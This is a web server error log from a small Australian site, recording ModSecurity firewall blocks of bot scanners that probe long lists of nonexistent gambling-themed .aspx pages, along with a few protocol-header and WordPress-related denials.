[Sat May 16 13:09:55.822097 2026] [:error] [pid 62341:tid 62350] [client 51.75.119.168:56784] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agf8I6nvQ59ep-XG78iaoQAAAoQ"]
[Sat May 16 13:09:58.103949 2026] [:error] [pid 24874:tid 24955] [client 51.75.119.168:38396] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agf8Jsiii6x3XidYGHHOJwAAAJQ"]
[Sat May 16 13:10:00.601974 2026] [:error] [pid 61463:tid 61478] [client 51.75.119.168:38410] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agf8KDXdL1WU7nYXPmTjiAAAAc0"]
[Sat May 16 13:10:02.929942 2026] [:error] [pid 61361:tid 61364] [client 51.75.119.168:38416] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agf8KpZojzbt3jGziNkocgAAAUE"]
[Sat May 16 13:10:05.250705 2026] [:error] [pid 24979:tid 24985] [client 51.75.119.168:38418] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agf8LbvSFUQiwLaOL2p36AAAAMQ"]
[Sat May 16 13:10:07.586476 2026] [:error] [pid 61411:tid 61424] [client 51.75.119.168:38430] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agf8L2VkiEwGnPL_dvHgfQAAAYs"]
[Sat May 16 13:10:09.893637 2026] [:error] [pid 24874:tid 24937] [client 51.75.119.168:43402] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agf8Mciii6x3XidYGHHOLgAAAII"]
[Sat May 16 13:10:12.203701 2026] [:error] [pid 62341:tid 62352] [client 51.75.119.168:43410] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "agf8NKnvQ59ep-XG78iaqAAAAoY"]
[Sat May 16 13:10:14.677424 2026] [:error] [pid 62341:tid 62351] [client 51.75.119.168:43426] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "agf8NqnvQ59ep-XG78iargAAAoU"]
[Sat May 16 17:20:08.466855 2026] [:error] [pid 5602:tid 5614] [client 43.134.224.16:58714] [client 43.134.224.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agg2yNzTTsu77r3UIskt4gAAAQo"]
[Sat May 16 17:29:40.860959 2026] [:error] [pid 61463:tid 61485] [client 34.83.249.21:51158] [client 34.83.249.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.249.21, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agg5BDXdL1WU7nYXPmTxcwAAAdQ"]
[Sat May 16 23:52:33.857580 2026] [:error] [pid 5602:tid 5614] [client 178.20.210.57:11760] [client 178.20.210.57] ModSecurity: Access denied with code 403 (phase 3). Match of "validateByteRange 0-31" against "ARGS:wcdn_invoice[invoice_preffix]" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6640"] [id "243420"] [rev "4"] [msg "COMODO WAF: Information disclosure vulnerability in Eclipse Jetty before 9.2.9.v20150224 (CVE-2015-2080)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "agiSwNzTTsu77r3UIslCrQAAAQo"], referer: https://vetstars.com.au/wp-admin/
[Sat May 16 23:52:33.857728 2026] [proxy_fcgi:error] [pid 5602:tid 5614] (20014)Internal error (specific information not available): [client 178.20.210.57:11760] AH01075: Error dispatching request to : (passing brigade to output filters), referer: https://vetstars.com.au/wp-admin/
[Sun May 17 01:13:27.336028 2026] [:error] [pid 61411:tid 61430] [client 43.167.236.228:48338] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agilt2VkiEwGnPL_dvE7bgAAAZE"]
[Sun May 17 03:06:11.938829 2026] [:error] [pid 62210:tid 62228] [client 65.108.2.171:5802] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agjAI8jHonCA4ORo40HkhwAAAlA"]
[Sun May 17 03:06:14.667838 2026] [:error] [pid 24874:tid 24955] [client 65.108.2.171:5810] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agjAJsiii6x3XidYGHHx8gAAAJQ"]
[Sun May 17 03:06:17.221665 2026] [:error] [pid 62210:tid 62215] [client 65.108.2.171:32878] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agjAKcjHonCA4ORo40HkiQAAAkM"]
[Sun May 17 03:06:19.837758 2026] [:error] [pid 61361:tid 61386] [client 65.108.2.171:32888] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agjAK5Zojzbt3jGziNm0FwAAAVc"]
[Sun May 17 03:06:22.381135 2026] [:error] [pid 24874:tid 24943] [client 65.108.2.171:32902] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agjALsiii6x3XidYGHHx-QAAAIg"]
[Sun May 17 03:06:24.831269 2026] [:error] [pid 5602:tid 5621] [client 65.108.2.171:32906] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agjAMNzTTsu77r3UIslOtAAAARE"]
[Sun May 17 03:06:27.377060 2026] [:error] [pid 24867:tid 24882] [client 65.108.2.171:27178] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agjAMyDgFLCgyKq-zmYoygAAAAE"]
[Sun May 17 03:06:30.091553 2026] [:error] [pid 61361:tid 61378] [client 65.108.2.171:27184] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agjANpZojzbt3jGziNm0HQAAAU8"]
[Sun May 17 03:06:32.805553 2026] [:error] [pid 24867:tid 24894] [client 65.108.2.171:27192] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agjAOCDgFLCgyKq-zmYozAAAAA0"]
[Sun May 17 03:06:35.226862 2026] [:error] [pid 61463:tid 61465] [client 65.108.2.171:35986] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agjAOzXdL1WU7nYXPmQJkQAAAcA"]
[Sun May 17 03:06:37.938629 2026] [:error] [pid 62210:tid 62225] [client 65.108.2.171:36000] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agjAPcjHonCA4ORo40HkkAAAAk0"]
[Sun May 17 03:06:40.560525 2026] [:error] [pid 61361:tid 61380] [client 65.108.2.171:36008] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agjAQJZojzbt3jGziNm0JAAAAVE"]
[Sun May 17 03:06:43.019059 2026] [:error] [pid 62210:tid 62218] [client 65.108.2.171:36020] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agjAQ8jHonCA4ORo40HklgAAAkY"]
[Sun May 17 03:06:45.582692 2026] [:error] [pid 62210:tid 62230] [client 65.108.2.171:50326] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agjARcjHonCA4ORo40HklwAAAlI"]
[Sun May 17 03:06:48.104697 2026] [:error] [pid 62210:tid 62213] [client 65.108.2.171:50342] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agjASMjHonCA4ORo40HkmQAAAkE"]
[Sun May 17 03:06:50.822697 2026] [:error] [pid 24979:tid 24991] [client 65.108.2.171:50348] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agjASrvSFUQiwLaOL2rMqAAAAMo"]
[Sun May 17 03:06:53.488590 2026] [:error] [pid 62210:tid 62233] [client 65.108.2.171:50358] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agjATcjHonCA4ORo40HkmgAAAlU"]
[Sun May 17 03:06:56.227973 2026] [:error] [pid 61411:tid 61421] [client 65.108.2.171:51708] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agjAUGVkiEwGnPL_dvFOkwAAAYg"]
[Sun May 17 03:06:58.692591 2026] [:error] [pid 61361:tid 61378] [client 65.108.2.171:51718] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agjAUpZojzbt3jGziNm0KwAAAU8"]
[Sun May 17 03:07:01.321535 2026] [:error] [pid 5602:tid 5622] [client 65.108.2.171:51726] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agjAVdzTTsu77r3UIslOyAAAARI"]
[Sun May 17 03:07:04.000349 2026] [:error] [pid 61411:tid 61434] [client 65.108.2.171:51736] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agjAV2VkiEwGnPL_dvFOmgAAAZU"]
[Sun May 17 03:07:06.607045 2026] [:error] [pid 62341:tid 62354] [client 65.108.2.171:13684] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agjAWqnvQ59ep-XG78jeqwAAAog"]
[Sun May 17 03:07:55.694965 2026] [:error] [pid 61361:tid 61381] [client 65.108.2.171:61484] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agjAi5Zojzbt3jGziNm0QgAAAVI"]
[Sun May 17 03:07:58.360879 2026] [:error] [pid 61361:tid 61374] [client 65.108.2.171:61492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agjAjpZojzbt3jGziNm0RgAAAUs"]
[Sun May 17 03:08:00.928184 2026] [:error] [pid 61361:tid 61376] [client 65.108.2.171:61494] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agjAkJZojzbt3jGziNm0RwAAAU0"]
[Sun May 17 03:08:03.541206 2026] [:error] [pid 61463:tid 61470] [client 65.108.2.171:61506] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agjAkzXdL1WU7nYXPmQJnQAAAcU"]
[Sun May 17 03:08:06.070412 2026] [:error] [pid 62341:tid 62364] [client 65.108.2.171:30026] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agjAlqnvQ59ep-XG78jesgAAApI"]
[Sun May 17 03:08:08.626004 2026] [:error] [pid 62341:tid 62370] [client 65.108.2.171:30040] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agjAmKnvQ59ep-XG78jeswAAApg"]
[Sun May 17 03:08:11.221763 2026] [:error] [pid 62341:tid 62349] [client 65.108.2.171:30052] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agjAm6nvQ59ep-XG78jetAAAAoM"]
[Sun May 17 03:08:14.081494 2026] [:error] [pid 62210:tid 62229] [client 65.108.2.171:30068] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agjAnsjHonCA4ORo40HkwgAAAlE"]
[Sun May 17 03:08:16.775475 2026] [:error] [pid 61411:tid 61435] [client 65.108.2.171:64866] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agjAoGVkiEwGnPL_dvFPGwAAAZY"]
[Sun May 17 03:08:19.359152 2026] [:error] [pid 61361:tid 61373] [client 65.108.2.171:64882] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agjAo5Zojzbt3jGziNm0SgAAAUo"]
[Sun May 17 03:08:21.816433 2026] [:error] [pid 61361:tid 61365] [client 65.108.2.171:64888] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agjApZZojzbt3jGziNm0SwAAAUI"]
[Sun May 17 03:08:24.419659 2026] [:error] [pid 5602:tid 5622] [client 65.108.2.171:64904] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agjAqNzTTsu77r3UIslO5QAAARI"]
[Sun May 17 03:08:26.770885 2026] [:error] [pid 62210:tid 62212] [client 65.108.2.171:50850] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agjAqsjHonCA4ORo40HkxAAAAkA"]
[Sun May 17 03:08:29.250664 2026] [:error] [pid 24979:tid 25001] [client 65.108.2.171:50866] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agjArbvSFUQiwLaOL2rMywAAANQ"]
[Sun May 17 03:08:31.774868 2026] [:error] [pid 24874:tid 24937] [client 65.108.2.171:50872] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agjAr8iii6x3XidYGHHyEwAAAII"]
[Sun May 17 03:08:34.379545 2026] [:error] [pid 24874:tid 24955] [client 65.108.2.171:50874] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agjAssiii6x3XidYGHHyFgAAAJQ"]
[Sun May 17 03:08:37.154232 2026] [:error] [pid 24869:tid 24922] [client 65.108.2.171:38152] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agjAtexo3FMprMltYl5IogAAAE4"]
[Sun May 17 03:08:39.677109 2026] [:error] [pid 5602:tid 5606] [client 65.108.2.171:38398] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agjAt9zTTsu77r3UIslO6gAAAQI"]
[Sun May 17 03:08:42.212181 2026] [:error] [pid 61361:tid 61374] [client 65.108.2.171:38784] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agjAupZojzbt3jGziNm0UgAAAUs"]
